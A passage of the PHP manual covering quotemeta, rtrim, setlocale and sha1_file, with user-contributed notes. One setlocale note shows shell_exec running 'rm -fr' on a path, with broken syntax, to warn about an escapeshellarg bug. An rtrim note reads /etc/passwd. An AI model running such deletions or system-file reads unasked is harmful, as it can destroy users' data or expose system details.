  return trim($output);
} // end quoted_printable_encode
?>


Quote meta characters

  • « quoted_printable_encode
  • rtrim »
  • PHP Manual
  • String Functions
  • Quote meta characters

quotemeta

(PHP 4, PHP 5)

quotemeta — Quote meta characters

Description

string quotemeta ( string $str )

Returns a version of str with a backslash character (\) before every character that is among these:

. \ + * ? [ ^ ] ( $ )

Parameters

str

The input string.

Return Values

Returns the string with meta characters quoted, or FALSE if an empty string is given as str.

Notes

Note: This function is binary-safe.

See Also

  • addslashes() - Quote string with slashes
  • addcslashes() - Quote string with slashes in a C style
  • htmlentities() - Convert all applicable characters to HTML entities
  • htmlspecialchars() - Convert special characters to HTML entities
  • nl2br() - Inserts HTML line breaks before all newlines in a string
  • stripslashes() - Un-quotes a quoted string
  • stripcslashes() - Un-quote string quoted with addcslashes
  • ereg() - Regular expression match
  • preg_quote() - Quote regular expression characters

User Contributed Notes

kumarkulandai at gmail dot com 27-Oct-2009 08:29
<?php
$str = "Hello world. (can you hear me?)";
echo quotemeta($str);
?>

The output of the code above will be:
Hello world\. \(can you hear me\?\)
George Adams 17-Feb-2006 05:57
Took me a while to realize this was NOT the command I wanted for escaping potentially harmful characters in a string that would be used as part of a system command.  Instead, I needed either escapeshellarg() (http://www.php.net/manual/en/function.escapeshellarg.php) or escapeshellcmd() (http://www.php.net/manual/en/function.escapeshellcmd.php)
16-May-2001 12:41
This function escapes characters that have special meaning in regular expressions.  preg_quote() <http://php.net/manual/en/function.preg-quote.php> has similar functionality, but is more powerful since it escapes more characters (including one user-specified character).


Strip whitespace (or other characters) from the end of a string

  • « quotemeta
  • setlocale »
  • PHP Manual
  • String Functions
  • Strip whitespace (or other characters) from the end of a string

rtrim

(PHP 4, PHP 5)

rtrim — Strip whitespace (or other characters) from the end of a string

Description

string rtrim ( string $str [, string $character_mask ] )

This function returns a string with whitespace stripped from the end of str.

Without the second parameter, rtrim() will strip these characters:

  • " " (ASCII 32 (0x20)), an ordinary space.
  • "\t" (ASCII 9 (0x09)), a tab.
  • "\n" (ASCII 10 (0x0A)), a new line (line feed).
  • "\r" (ASCII 13 (0x0D)), a carriage return.
  • "\0" (ASCII 0 (0x00)), the NULL-byte.
  • "\x0B" (ASCII 11 (0x0B)), a vertical tab.

Parameters

str

The input string.

character_mask

You can also specify the characters you want to strip, by means of the character_mask parameter. Simply list all characters that you want to be stripped. With .. you can specify a range of characters.

Return Values

Returns the modified string.

Examples

Example #1 Usage example of rtrim()

<?php

$text = "\t\tThese are a few words :) ...  ";
$binary = "\x09Example string\x0A";
$hello  = "Hello World";
var_dump($text, $binary, $hello);

print "\n";

$trimmed = rtrim($text);
var_dump($trimmed);

$trimmed = rtrim($text, " \t.");
var_dump($trimmed);

$trimmed = rtrim($hello, "Hdle");
var_dump($trimmed);

// trim the ASCII control characters at the end of $binary
// (from 0 to 31 inclusive)
$clean = rtrim($binary, "\x00..\x1F");
var_dump($clean);

?>

The above example will output:

string(32) "        These are a few words :) ...  "
string(16) "    Example string
"
string(11) "Hello World"

string(30) "        These are a few words :) ..."
string(26) "        These are a few words :)"
string(9) "Hello Wor"
string(15) "    Example string"

See Also

  • trim() - Strip whitespace (or other characters) from the beginning and end of a string
  • ltrim() - Strip whitespace (or other characters) from the beginning of a string

User Contributed Notes

Anonymous 06-Mar-2014 02:55
To ltrim or rtrim a dot it have to be escaped ltrim('.1252', '\.')
pinkgothic at gmail dot com 01-Jul-2013 06:10
On the recurring subject of string-stripping instead of character-stripping rtrim() implementations... the simplest (with a caveat) is probably the basename() function. It has a second parameter that functions as a right-trim using whole strings:

<?php

echo basename('MooFoo', 'Foo');

?>

...outputs 'Moo'.

Since it also strips anything that looks like a directory, it's not quite identical with hacking a string off the end:

<?php

echo basename('Zoo/MooFoo', 'Foo');

?>

...still outputs 'Moo'.

But sometimes it gets the job done.
pLIMP 21-Jul-2012 04:49
Function similar to rtrim only this will truncate the string at the 1st occurence of any character from $charlist

<?php

function rstrip($string, $charlist = "\t ") {
    // removes everything from first occurence of char in charlist to end of string

    $charlist = str_split($charlist);
    $pos = strlen($string);

    foreach ($charlist as $char) {
        $pos = min(strpos($string, $char), $pos);
    }

    $string_stripped = substr($string, 0, $pos);

    return $string_stripped;
}

?>
krzysiek dot 333 at gmail dot com 01-May-2012 06:58
function read_more($in,$len=160){
    if(strlen($in)>$len){
        return preg_replace('/[\s\.,][^\s\.,]*$/u', '', substr($in, 0, $len)).'...';
    }else{
        return $in;
    }
}

echo read_mode("Lorem ipsum dolor sit amet, consectetur adipisicing elit. Proin nibh augue, suscipit a, scelerisque sed, lacinia in, mi. Cras vel lorem. Etiam pellentesque aliquet tellus. Phasellus pharetra nulla ac diam. Quisque semper justo at risus. Donec venenatis, turpis vel hendrerit interdum, dui ligula ultricies purus, sed posuere libero dui id orci.");
/* Output:
Lorem ipsum dolor sit amet, consectetur adipisicing elit. Proin nibh augue, suscipit a, scelerisque sed, lacinia in, mi. Cras vel lorem. Etiam pellentesque...*/
NBS Studio 22-Feb-2010 02:02
The simplest way to strip a newline form a text file is ltrim();

trim or explode or split ("\n" or "\r\n") doesn't work in all cases, so give ltrim(); a try instead.
info at nbs-studio dot com 22-Feb-2010 02:02
The simplest way to strip a newline form a text file is ltrim();

trim or explode or split ("\n" or "\r\n") doesn't work in all cases, so give ltrim(); a try instead.
pinkgothic at gmail dot com 22-Jan-2010 02:36
I have an obsessive love for php's array functions given how extremely easy they've made complex string handling for me in various situations... so, have another string-rtrim() variant:

<?php

function strrtrim($message, $strip) {
    // break message apart by strip string
    $lines = explode($strip, $message);
    $last  = '';
    // pop off empty strings at the end
    do {
        $last = array_pop($lines);
    } while (empty($last) && (count($lines)));
    // re-assemble what remains
    return implode($strip, array_merge($lines, array($last)));
}

?>

Astonishingly, something I didn't expect, but: It completely compares to harmor's rstrtrim below, execution time wise. o_o Whee!
harmor 05-Apr-2008 12:05
I'm sure there's a better way to strip strings from the end of strings.

<?php
/**
 * Strip a string from the end of a string
 *
 * @param string $str      the input string
 * @param string $remove   OPTIONAL string to remove
 *
 * @return string the modified string
  */
function rstrtrim($str, $remove=null)
{
    $str    = (string)$str;
    $remove = (string)$remove;

    if(empty($remove))
    {
        return rtrim($str);
    }

    $len = strlen($remove);
    $offset = strlen($str)-$len;
    while($offset > 0 && $offset == strpos($str, $remove, $offset))
    {
        $str = substr($str, 0, $offset);
        $offset = strlen($str)-$len;
    }

    return rtrim($str);

} //End of function rstrtrim($str, $remove=null)

echo rstrtrim('Hello World!!!', '!')   .'<br />'; //"Hello World"
echo rstrtrim('Hello World!!!', '!!')  .'<br />'; //"Hello World!"
echo rstrtrim('Hello World!!!', '!!!') .'<br />'; //"Hello World"
echo rstrtrim('Hello World!!!', '!!!!').'<br />'; //"Hello World!!!"
?>
YAS 08-May-2006 03:01
To remove an unwanted character - example "." - if exist or not.

The example above doesn't include the case where there is no "."
If there is not "." at the example above the last word will be deleted.

Have fun with this code.

<?php
$text = "This string contains. some unwanted characters on the end .";
$text = trim($text);
$last = $text{strlen($text)-1};
if (!strcmp($last,"."))
{
  $text = rtrim($text, 'a..z');
  $text = rtrim($text, '.');
}
?>
gbelanger at exosecurity dot com 17-Feb-2006 11:31
True, the Perl chomp() will only trim newline characters. There is, however, the Perl chop() function which is pretty much identical to the PHP rtrim()

---

Here's a quick way to recursively trim every element of an array, useful after the file() function :

<?php
# Reads /etc/passwd file an trims newlines on each entry
$aFileContent = file("/etc/passwd");
foreach ($aFileContent as $sKey => $sValue) {
    $aFileContent[$sKey] = rtrim($sValue);
}

print_r($aFileContent);
?>
Unimagined at UnaimaginedDesigns dot Com 16-Jan-2005 09:49
I needed a way to trim all white space and then a few chosen strings from the end of a string.  So I wrote this class to reuse when stuff needs to be trimmed.

<?php

class cleaner {

function cleaner ($cuts,$pinfo) {
$ucut = "0";
$lcut = "0";
while ($cuts[$ucut]) {
$lcut++;
$ucut++;
}
$lcut = $lcut - 1;
$ucut = "0";
$rcut = "0";
$wiy = "start";

while ($wiy) {

if ($so) {
$ucut = "0";
$rcut = "0";
unset($so);
}

if (!$cuts[$ucut]) {
$so = "restart";
} else {
$pinfo = rtrim($pinfo);
$bpinfol = strlen($pinfo);
$tcut = $cuts[$ucut];
$pinfo = rtrim($pinfo,"$tcut");
$pinfol = strlen($pinfo);

    if ($bpinfol == $pinfol) {
    $rcut++;
    if ($rcut == $lcut) {
    unset($wiy);
    }
    $ucut++;
    } else {
    $so = "restart";
    }
}
}

$this->cleaner = $pinfo;
}

}

$pinfo = "Well... I'm really bored...<br /><br>&nbsp;    \n\t&nbsp;<br><br /><br>&nbsp;    \r\r&nbsp;<br>\r<br /><br>\r&nbsp;    &nbsp;\n<br>      <br />\t";

$cuts = array('\n','\r','\t',' ',' ','&nbsp;','<br />','<br>','<br/>');

$pinfo = new cleaner($cuts,$pinfo);
$pinfo = $pinfo->cleaner;

print $pinfo;

?>

That class will take any string that you put in the $cust array and remove it from the end of the $pinfo string.  It's useful for cleaning up comments, articles, or mail that users post to your site, making it so there's no extra blank space or blank lines.
todd at magnifisites dot com 20-Aug-2003 03:19
This shows how rtrim works when using the optional charlist parameter:
rtrim reads a character, one at a time, from the optional charlist parameter and compares it to the end of the str string. If the characters match, it trims it off and starts over again, looking at the "new" last character in the str string and compares it to the first character in the charlist again. If the characters do not match, it moves to the next character in the charlist parameter comparing once again. It continues until the charlist parameter has been completely processed, one at a time, and the str string no longer contains any matches. The newly "rtrimmed" string is returned.
<?php
  // Example 1:
  rtrim('This is a short short sentence', 'short sentence');
  // returns 'This is a'
  // If you were expecting the result to be 'This is a short ',
  // then you're wrong; the exact string, 'short sentence',
  // isn't matched.  Remember, character-by-character comparison!
  // Example 2:
  rtrim('This is a short short sentence', 'cents');
  // returns 'This is a short short '
?>
HW 06-Jun-2003 03:32
<?php
$text = "This string contains some unwanted characters on the end.";
$text1 = rtrim($text, 'a..z');
$text1 = rtrim($text1, '.');
echo $text1; // only the '.' is trimmed.
$text2 = rtrim($text, 'a..z.');
echo $text2; // The whole last word is trimmed.
?>


Set locale information

  • « rtrim
  • sha1_file »
  • PHP Manual
  • String Functions
  • Set locale information

setlocale

(PHP 4, PHP 5)

setlocale — Set locale information

Description

string setlocale ( int $category , string $locale [, string $... ] )
string setlocale ( int $category , array $locale )

Sets locale information.

Parameters

category

category is a named constant specifying the category of the functions affected by the locale setting:

  • LC_ALL for all of the below
  • LC_COLLATE for string comparison, see strcoll()
  • LC_CTYPE for character classification and conversion, for example strtoupper()
  • LC_MONETARY for localeconv()
  • LC_NUMERIC for decimal separator (See also localeconv())
  • LC_TIME for date and time formatting with strftime()
  • LC_MESSAGES for system responses (available if PHP was compiled with libintl)

locale

If locale is NULL or the empty string "", the locale names will be set from the values of environment variables with the same names as the above categories, or from "LANG".

If locale is "0", the locale setting is not affected, only the current setting is returned.

If locale is an array or followed by additional parameters then each array element or parameter is tried to be set as new locale until success. This is useful if a locale is known under different names on different systems or for providing a fallback for a possibly not available locale.

...

(Optional string or array parameters to try as locale settings until success.)

Note:

On Windows, setlocale(LC_ALL, '') sets the locale names from the system's regional/language settings (accessible via Control Panel).

Return Values

Returns the new current locale, or FALSE if the locale functionality is not implemented on your platform, the specified locale does not exist or the category name is invalid.

An invalid category name also causes a warning message. Category/locale names can be found in » RFC 1766 and » ISO 639. Different systems have different naming schemes for locales.

Note:

The return value of setlocale() depends on the system that PHP is running. It returns exactly what the system setlocale function returns.

Changelog

Version | Description
5.3.0 | This function now throws an E_DEPRECATED notice if a string is passed to the category parameter instead of one of the LC_* constants.

Examples

Example #1 setlocale() Examples

<?php
/* Set locale to Dutch */
setlocale(LC_ALL, 'nl_NL');

/* Output: vrijdag 22 december 1978 */
echo strftime("%A %e %B %Y", mktime(0, 0, 0, 12, 22, 1978));

/* try different possible locale names for german as of PHP 4.3.0 */
$loc_de = setlocale(LC_ALL, 'de_DE@euro', 'de_DE', 'de', 'ge');
echo "Preferred locale for german on this system is '$loc_de'";
?>

Example #2 setlocale() Examples for Windows

<?php
/* Set locale to Dutch */
setlocale(LC_ALL, 'nld_nld');

/* Output: vrijdag 22 december 1978 */
echo strftime("%A %d %B %Y", mktime(0, 0, 0, 12, 22, 1978));

/* try different possible locale names for german as of PHP 4.3.0 */
$loc_de = setlocale(LC_ALL, 'de_DE@euro', 'de_DE', 'deu_deu');
echo "Preferred locale for german on this system is '$loc_de'";
?>

Notes

Warning

The locale information is maintained per process, not per thread. If you are running PHP on a multithreaded server API like IIS or Apache on Windows, you may experience sudden changes in locale settings while a script is running, though the script itself never called setlocale(). This happens due to other scripts running in different threads of the same process at the same time, changing the process-wide locale using setlocale().

Tip

Windows users will find useful information about locale strings at Microsoft's MSDN website. Supported language strings can be found in the » language strings documentation and supported country/region strings in the » country/region strings documentation.

User Contributed Notes

RobQuist 28-Nov-2013 11:51
In addition to russ, about getting / backing up the locale:
I'm using this in unit-tests. I wanted to test something based on locale, and reset the locale after the tests were done.

Yet there were some errors;
* setlocale doesn't like strings anymore. You need to use constants.
* Some contants don't exist anymore.

Here's an updated piece of code:

<?php
$originalLocales = explode(";", setlocale(LC_ALL, 0));
setlocale(LC_ALL, 'nl_NL.UTF-8');

//Do something here

//Recover to the default setting
        $skipConstants = array( //these will be returned by setlocale(LC_ALL, 0), but don't exist anymore.
            'LC_PAPER',
            'LC_NAME',
            'LC_ADDRESS',
            'LC_TELEPHONE',
            'LC_MEASUREMENT',
            'LC_IDENTIFICATION'
        );

        foreach ($originalLocales as $localeSetting) {
            if (strpos($localeSetting, "=") !== false) {
                list ($category, $locale) = explode("=", $localeSetting);
            } else {
                $category = LC_ALL;
                $locale   = $localeSetting;
            }

            if (!in_array($category, $skipConstants)) {
                setlocale(constant($category), $locale); //Using strings is deprecated.
            }
        }
?>
c dot madmax at gmail dot com 28-Jan-2013 12:48
<?php

// the last foldername only contains a german umlaut (lower a with two dots = \xE4 in ISO-8859-1)
$path = "/home/madmax/photos_from_the_last_10_years/\xE4"

// php escapeshellarg remove characters (depends on locale settings)
// the following example will delete /home/madmax/photos_from_the_last_10_years/
// instead of /home/madmax/photos_from_the_last_10_years/ä

shell_exec(sprintf('rm -fr %s' escapeshellarg($path)));

// dear php developers, how stupid is that?
// I tell you: it is very very stupid! The problem exists since years and nothing happens (see bug #54391)

// this code will not remove all your photos of the last 10 years :)
function binary_safe_escapeshellarg_that_is_not_totally_buggy_and_do_not_remove_f___ing_characters($string)
{
    return(@sprintf("'%s'", @strtr($string, Array("\x27" => "\x27\x5C\x27\x27"))));
};

// delete /home/madmax/photos_from_the_last_10_years/ä
// and not /home/madmax/photos_from_the_last_10_years/
shell_exec(sprintf('rm -fr %s' binary_safe_escapeshellarg_that_is_not_totally_buggy_and_do_not_remove_f___ing_characters($path))); // binary safe!

?>
data dot ocean dot italia at gmail dot com 21-Jan-2013 04:42
Instead, using php with IIS, I had to use this line for Italian language...

<?php setlocale(LC_ALL, 'Italian_Italy.1250'); ?>
russ at eatmymonkeydust dot com 08-Dec-2011 12:45
If you are looking for a getlocale() function simply pass 0 (zero) as the second parameter to setlocale().

Beware though if you use the category LC_ALL and some of the locales differ as a string containing all the locales is returned:

<?php
echo setlocale(LC_ALL, 0);

// LC_CTYPE=en_US.UTF-8;LC_NUMERIC=C;LC_TIME=C;LC_COLLATE=C;LC_MONETARY=C;LC_MESSAGES=C;LC_PAPER=C;LC_NAME=C;
// LC_ADDRESS=C;LC_TELEPHONE=C;LC_MEASUREMENT=C;LC_IDENTIFICATION=C

echo setlocale(LC_CTYPE, 0);

// en_US.UTF-8

setlocale(LC_ALL, "en_US.UTF-8");
echo setlocale(LC_ALL, 0);

// en_US.UTF-8

?>

If you are looking to store and reset the locales you could do something like this:

<?php

$originalLocales = explode(";", setlocale(LC_ALL, 0));
setlocale(LC_ALL, "nb_NO.utf8");

// Do something

foreach ($originalLocales as $localeSetting) {
  if (strpos($localeSetting, "=") !== false) {
    list ($category, $locale) = explode("=", $localeSetting);
  }
  else {
    $category = LC_ALL;
    $locale   = $localeSetting;
  }
  setlocale($category, $locale);
}

?>

The above works here (Ubuntu Linux) but as the setlocale() function is just wrapping the equivalent system calls, your mileage may vary on the result.
phcorp 26-Jul-2011 03:16
To find the locale of a Unix system:
<?php system('locale -a') ?>
flavioacvalverde at gmail dot com 15-Jun-2011 06:28
For Portugal I had to use

<?php setlocale(LC_ALL, 'Portuguese_Portugal.1252'); ?>

using php with IIS on Windows server.
tomas dot hampl at gmail dot com 23-Apr-2011 10:35
On Linux, setlocale() depends on the installed locales. To see which locales are available to PHP, run this from the terminal:

"locale -a"

Provided list are all locales that are available on your server for PHP to use. To add a new one, run

locale-gen <locale name> (this may need sudo / root permissions), for example to add a Czech locale, run something like this:

"sudo locale-gen cs_CZ.utf8"

Then you can use this locale declaration:

setlocale(LC_ALL, 'cs_CZ.utf8');
leif at neland dot dk 16-Aug-2010 01:38
Regarding dash'es in locale, it appears they should be omitted entirely.

In /etc/locale.gen I have

da_DK.ISO-8859-15 ISO-8859-15

but locale -a gives

da_DK.iso885915

which is the format setlocale()  wants.

(Debian)
garygendron at yahoo dot com 29-Jun-2010 05:04
For a php Mysql query, you could also use, for french canadian, in this example :

$query = 'SET lc_time_names = "fr_CA"';
$result = mysql_query($query) or die("Query failed");

$query = 'SELECT @@lc_time_names';
$result = mysql_query($query) or die("Query failed");

$query = 'SELECT id, created, YEAR(created) as year, MONTH(created) as month,' .
' CONCAT_WS(" ", MONTHNAME(created), YEAR(created)) as archive' .
' FROM #__TABLE as e' .
' GROUP BY archive' .
' ORDER BY id DESC';

Your data will be displayed in any locale setting you want. You may even $_GET[lc_time_name] from your multilanguage website.
Omer Sabic 21-Mar-2010 04:27
On Linux/Apache, when you install and try to use a new locale, the setlocale() function with the new locale will fail sometimes, but not always. To furthermore complicate, setlocale() will always complete with any of the previously installed locales. This would seem a really weird behaviour, which you can fix by restarting Apache, as Kari Sderholm aka Haprog mentioned, but I felt it needed to be properly pointed out.
Kari Sderholm aka Haprog 16-May-2009 01:28
It took me a while to figure out how to get a Finnish locale correctly set on Ubuntu Server with Apache2 and PHP5.

At first the output for "locale -a" was this:
C
en_US.utf8
POSIX

I had to install a finnish language pack with
"sudo apt-get install language-pack-fi-base"

Now the output for "locale -a" is:
C
en_US.utf8
fi_FI.utf8
POSIX

The last thing you need to do after installing the correct language pack is restart Apache with "sudo apache2ctl restart". The locale "fi_FI.utf8" can then be used in PHP5 after restarting Apache.

For setting Finnish timezone and locale in PHP use:
<?php
date_default_timezone_set('Europe/Helsinki');
setlocale(LC_ALL, array('fi_FI.UTF-8','fi_FI@euro','fi_FI','finnish'));
?>
wisborg 27-Apr-2009 02:06
It is correct as stated below that it is common that the UTF-8 should be used without the dash. However on some systems (e.g. MacOS 10.4) the dash is essential.
brice/axice/be 20-Feb-2009 02:19
Pay attention to the syntax.
- UTF8 without dash ('-')
- locale.codeset and not locale-codeset.

Stupid newbie error but worth knowing them when starting with gettext.

<?php
$codeset = "UTF8";  // warning ! not UTF-8 with dash '-'

// for windows compatibility (e.g. xampp) : theses 3 lines are useless for linux systems

putenv('LANG='.$lang.'.'.$codeset);
putenv('LANGUAGE='.$lang.'.'.$codeset);
bind_textdomain_codeset('mydomain', $codeset);

// set locale
bindtextdomain('mydomain', ABSPATH.'/locale/');
setlocale(LC_ALL, $lang.'.'.$codeset);
textdomain('mydomain');
?>

where directory structure of locale is (for example) :
locale/fr_FR/LC_MESSAGES/mydomain.mo
locale/en_US/LC_MESSAGES/mydomain.mo

and ABSPATH is the absolute path to the locale dir

further note, under linux systems, it seems to be necessary to create the locale at os level using 'locale-gen'.
Un_passant 16-Nov-2008 12:56
For debian/ubuntu, don't forget the charset UFT8.

// Works on Ubuntu 8.04 Server
setlocale(LC_TIME, 'fr_FR.UTF8', 'fr.UTF8', 'fr_FR.UTF-8', 'fr.UTF-8');
Leigh Morresi 02-Oct-2008 08:27
Setting locale that is not supported by your system will result in some string operations returning a question mark "?" in your strings where it needs to perform transliteration.

1) Always check the return of setlocale() to ensure it has set to something supported

2) on Linux you can use the "locale -a" command to find a list of supported locales
Arjon 28-Jul-2008 06:12
Please take heed and read the warning above if you are running on a XAMPP or any other Windows apache server! It just took me far too long to figure this out; and all the while there was a warning right on the page.

If you're experiencing shifting locale settings (check with setlocale(LC_ALL,0), returning the current locale stuff) and you're running a windows server, then it's not just you! Again, I urge everyone to read the red, but oh so easy not to read, warning message on this page.
michal dot kocarek at brainbox dot cz 27-Jul-2008 05:33
Note about using UTF-8 locale charset on Windows systems:

According to MSDN, Windows setlocale()'s implementation does not support UTF-8 encoding.

Citation from "MSDN setlocale, _wsetlocale" page (http://msdn.microsoft.com/en-us/library/x99tb11d.aspx):
The set of available languages, country/region codes, and code pages includes all those supported by the Win32 NLS API except code pages that require more than two bytes per character, such as UTF-7 and UTF-8. If you provide a code page like UTF-7 or UTF-8, setlocale will fail, returning NULL.

So basically, code like
<?php setlocale(LC_ALL, 'Czech_Czech Republic.65001'); // 65001 is UTF-8 codepage ?>
does not work on Windows at all.

(written in time of PHP 5.2.4)
de ronino at kde (reverse it) 25-Jun-2008 11:43
I experienced the behavior stated in the above Warning box: Running PHP5 on a multithreaded Apache made the current locale change sometimes all of a sudden within a script, so strftime() output wasn't in the required format.

I recompiled Apache with the prefork MPM and now it works like a charm. Took me a long time to find out the reason as I overlooked the warning box searching for either a bug report or a programming error of mine...
jonas at jonashaag dot de 27-May-2008 09:11
On Ubuntu, you have to take p.e. "de_DE.utf8", all available languages you can get with:
    locale -a
bryn AT lunarvis DOT com 21-Jan-2008 02:04
Posting this in the hope it might be useful to others, as I could find very little info anywhere. If you want to use a Welsh locale and have the suitable language support installed, you pass 'cym' (abbreviated form of Cymraeg) to setlocale:

<?php
setlocale(LC_TIME, 'cym');
$welsh= gmstrftime("%A, %B %Y - %H:%M",time());
echo $welsh;
?>

The above certainly applies to Windows systems, but should also apply to Unix if the required support is installed.

Cheers,

Bryn.
ostapk 27-Dec-2007 11:39
There is a new PECL extension under development called intl (it will be available in PHP5.3). Meanwhile all who rely on the setlocale() and friends should be aware about the limitations of them as covered in this post on the onPHP5.com blog: http://www.onphp5.com/article/22
Periklis 13-Sep-2007 11:33
In *some* Windows systems, setting LC_TIME only will not work, you must either set LC_ALL or both LC_CTYPE and LC_TIME. BUT if you have already set LC_TIME using setlocale earlier in the script, dates will not be affected! For example:
<?php
setlocale(LC_TIME, 'greek');
setlocale(LC_CTYPE, 'greek');
?>
will not work, while
<?php
setlocale(LC_CTYPE, 'greek');
setlocale(LC_TIME, 'greek');
?>
will do the job.
mvanbaak 09-May-2007 02:03
To complement Sven K's tip about debian:

You can also install the package locales-all
That one holds all the locales there are in compiled form.
szepeshazi at gmail dot com 19-Feb-2007 04:11
For those of you who are unfortunate enough (like me) to work in Windows environment, and try to set the locale to a language _and_ to UTF-8 charset, and were unable to do it, here is a workaround.

For example to output the date in hungarian with UTF-8 charset, this will work:

    $dateString = "%B %d., %A";
    setlocale(LC_ALL,'hungarian');
    $res=strftime($dateString);
    echo(iconv('ISO-8859-1', 'UTF-8', $res));

If anybody knows how to set the locale on Windows to the equivalent of "hu_HU.UTF-8" on unix, please do tell me.
lifeless 20-Nov-2006 06:40
if your server is an ubuntu (debian like)
you need to install the locales you want (default is english and your language) go to aptitude and install -language-pack-*-base it will resolve dependencies and will try to install a suggested package, remove it if you don't care and proceed.
Sven K 08-Jun-2006 12:08
If your system doesn't show any installed locales by "locale -a", try installing them by "dpkg-reconfigure locales" (on debian).
08-Mar-2006 09:17
The example from bruno dot cenou at revues dot org below shows the possibility, but I want to spell it out: you can add charset info to setlocale.

Example:

Into my utf-8-encoded page I want to insert the name of the current month, which happens to be March, in German "März" - with umlaut. If you use

   setlocale(LC_TIME, 'de_DE');
   echo strftime("%B");

this will return "M&auml;rz", but that html-entity will look like this on a utf-8 page: "M?rz". Not what I want.

But if you use

   setlocale(LC_TIME, 'de_DE.UTF8');  // note the charset info !
   echo strftime("%B");

this returns "M√§rz", which, on utf-8, looks like it should: "März".
Edwin Martin 20-Feb-2006 01:29
Debian users: Addition to Gabor Deri's note: if setlocale doesn't work in your locale and you're on Debian, and Gabor Deri's note doesn't work, you have to install the locales package.

As root, type: "apt-get install locales" and it will be installed.
glenn at europlan dot no 30-Nov-2005 08:55
In most Unix/Linux system, you could use:

locale -a

This will list all available locales on the server.
birkholz at web dot de 15-Aug-2005 05:42
When i tried to get the current locale (e.g. after i set the lang to german with setlocale(LC_ALL, 'de_DE'); ), the following did not work on my suse linux 9.0-box:
$currentLocale = setlocale(LC_ALL, NULL);
This code did a reset to the server-setting.

$currentLocale = setlocale(LC_ALL, 0); works perfectly for me, but the manual says NULL and 0 are equal in this case, but NULL seems to act like "".
pigmeu at pigmeu dot net 18-Oct-2004 10:42
!!WARNING!!

The "locale" always depend on the server configuration.

i.e.:
When trying to use "pt_BR" on some servers you will ALWAYS get false. Even with other languages.

The locale string need to be supported by the server. Sometimes there are diferents charsets for a language, like "pt_BR.utf-8" and "pt_BR.iso-8859-1", but there is no support for a _standard_ "pt_BR".

This problem occours in Windows platform too. Here you need to call "portuguese" or "spanish" or "german" or...

Maybe the only way to try to get success calling the function setlocale() is:
setlocale(LC_ALL, "pt_BR", "pt_BR.iso-8859-1", "pt_BR.utf-8", "portuguese", ...);

But NEVER trust on that when making functions like date conversions or number formating. The best way to make sure you are doing the right thing, is using the default "en_US" or "en_UK", by not calling the setlocale() function. Or, make sure that your server support the lang you want to use, with some tests.

Remember that: Using the default locale setings is the best way to "talk" with other applications, like dbs or rpc servers, too.

[]s

Pigmeu
dv at josheli dot com 13-Aug-2004 01:04
On Novell Netware, the language codes require hyphens, not underscores, and using anything other than LC_ALL doesn't work directly.

So... (from their support list)....

You have to set TIME, NUMERIC etc. info in two steps as given below rather than one. This is due to the limitation of setlocale function of LibC.
<?php
   setlocale(LC_ALL, 'es-ES');
   $loc = setlocale(LC_TIME, NULL);
   echo strftime("%A %e %B %Y", mktime(0, 0, 0, 12, 22, 1978));
  // jeuves 22 diciembre 1978
?>
This should work.

or of course, reset LC_ALL...
<?php
setlocale(LC_ALL, 'es-ES');
echo strftime("%A %e %B %Y", mktime(0, 0, 0, 12, 22, 1978));
setlocale(LC_ALL, '');
// jeuves 22 diciembre 1978
?>
mk at totu dot com 26-Jan-2004 01:59
Be carefull - setting a locale which uses commas instead of dots in numbers may cause a mysql db not to understand the query:
<?php
setlocale(LC_ALL,"pl");
$price = 1234 / 100; // now the price looks like 12,34
$query = mysql_query("SELECT Id FROM table WHERE price='".$price."'");
?>
Even if there is a price 12.34 - nothing will be found
r dot nospam dot velseboer at quicknet dot nospam dot nl 09-Sep-2002 04:02
be careful with the LC_ALL setting, as it may introduce some unwanted conversions. For example, I used

setlocale (LC_ALL, "Dutch");

to get my weekdays in dutch on the page. From that moment on (as I found out many hours later) my floating point values from MYSQL where interpreted as integers because the Dutch locale wants a comma (,) instead of a point (.) before the decimals. I tried printf, number_format, floatval.... all to no avail. 1.50 was always printed as 1.00 :(

When I set my locale to :

 setlocale (LC_TIME, "Dutch");

my weekdays are good now and my floating point values too.

I hope I can save some people the trouble of figuring this out by themselves.

Rob
misc dot anders at feder dot dk 19-Jun-2001 03:13
Under FreeBSD, locale definitions are stored in the /usr/share/locale/ directory. Danish time formats and weekdays, for instance, are stored in /usr/share/locale/da_DK.ISO_8859-1/LC_TIME.
noog at libero dot it 24-Nov-2000 12:13
On windows:
Control Panel->International Settings
You can set your locale and customize it
And locale-related PHP functions work perfectly
Morgan Christiansson &lt;mog at linux dot nu&gt; 29-Mar-2000 09:56
check /usr/share/locale/ if you want more info about the locale available with your *NIX box

there is also a file called /usr/share/locale/locale.alias with a list of aliases
such as swedish for sv_SE

so on all boxes i have accounts on (rh 6.0 and slack 3.4) you can just use setlocale("LC_ALL","swedish"); or other prefered language in plain english.

However, the weekdays were in all lowercase :(

Note: export LC_ALL=swedish made a lot of programs swedish for me, it's also possible to make them russian or japanese :)


Calculate the sha1 hash of a file

  • « setlocale
  • sha1 »
  • PHP Manual
  • String Functions
  • Calculate the sha1 hash of a file

sha1_file

(PHP 4 >= 4.3.0, PHP 5)

sha1_file — Calculate the sha1 hash of a file

Description

string sha1_file ( string $filename [, bool $raw_output = false ] )

Calculates the sha1 hash of the file specified by filename using the » US Secure Hash Algorithm 1, and returns that hash. The hash is a 40-character hexadecimal number.

Parameters

filename

The filename of the file to hash.

raw_output

When TRUE, returns the digest in raw binary format with a length of 20.

Return Values

Returns a string on success, FALSE otherwise.

Examples

Example #1 sha1_file() example

<?php
foreach(glob('/home/Kalle/myproject/*.php') as $ent)
{
    if(is_dir($ent))
    {
        continue;
    }

    echo $ent . ' (SHA1: ' . sha1_file($ent) . ')', PHP_EOL;
}
?>

Changelog

Version | Description
5.1.0 | Changed the function to use the streams API. It means that you can use it with wrappers, like sha1_file('http://example.com/..')

See Also

  • sha1() - Calculate the sha1 hash of a string
  • md5_file() - Calculates the md5 hash of a given file
  • crc32() - Calculates the crc32 polynomial of a string

User Contributed Notes

xijque at gmail dot com 05-Jul-2011 04:13
Just for the record -

As some have pointed out, you have two ways to generate the hash of a file:
Method 1 [this function]: sha1_file($file)
Method 2: sha1(file_get_contents($file))

It's important to realize that these two methods are NOT the same thing. If they were, I seriously doubt this function would exist.

The key difference, as far as I can tell, is how the file's contents are loaded. The second method loads the entirety of $file into memory before passing it to sha1($str). Method two, however, loads the contents of $file as they are needed to create the hash.

If you can guarantee that you'll only ever have to hash relatively small files, this difference means very little. If you have larger ones, though, loading the entirety of file into memory is a bad idea: best case, you slow down your server as it tries to handle the request; worse case, you run out of memory and don't get your hash at all.

